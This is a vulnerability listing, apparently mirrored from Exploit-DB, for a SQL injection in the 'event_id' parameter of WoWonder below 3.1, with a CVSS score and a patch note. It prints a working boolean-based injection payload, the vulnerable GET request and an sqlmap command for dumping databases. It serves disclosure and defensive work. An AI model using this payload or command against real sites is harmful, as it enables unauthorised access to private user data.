WoWonder Social Network Platform 3.1 - 'event_id' SQL Injection

vendor:

WoWonder Social Network Platform

by:

securityforeveryone.com

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: WoWonder Social Network Platform

Affected Version From: < 3.1

Affected Version To: < 3.1

Patch Exists: YES

Related CWE: N/A

CPE: a:wowonder:wowonder_social_network_platform

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux/Windows

2021

WoWonder Social Network Platform 3.1 – ‘event_id’ SQL Injection

In WoWonder < 3.1, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the event_id parameter. The vulnerability is found in the 'event_id' parameter in GET request sent to page requests.php. An attacker can exploit this vulnerability to access private data in the database system. Sqlmap command: sqlmap -r request.txt --risk 3 --level 5 --random-agent -p event_id --dbs Payload: f=search-my-followers&s=normal&filter=s4e&event_id=1') AND 5376=5376-- QYxF

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: WoWonder Social Network Platform 3.1 - 'event_id' SQL Injection
# Date: 16.03.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

DESCRIPTION

In WoWonder < 3.1, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the event_id parameter.

The vulnerability is found in the "event_id" parameter in GET request sent to page requests.php.
Example:
/requests.php?hash=xxxxxxxxxxx&f=search-my-followers&filter=s4e&event_id=EVENT_ID 

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /requests.php?hash=xxxxxxxxxxx&f=search-my-followers&filter=s4e&event_id=EVENT_ID HTTP/1.1
# Host: Target

Sqlmap command: sqlmap -r request.txt --risk 3 --level 5 --random-agent -p event_id --dbs

Payload: f=search-my-followers&s=normal&filter=s4e&event_id=1') AND 5376=5376-- QYxF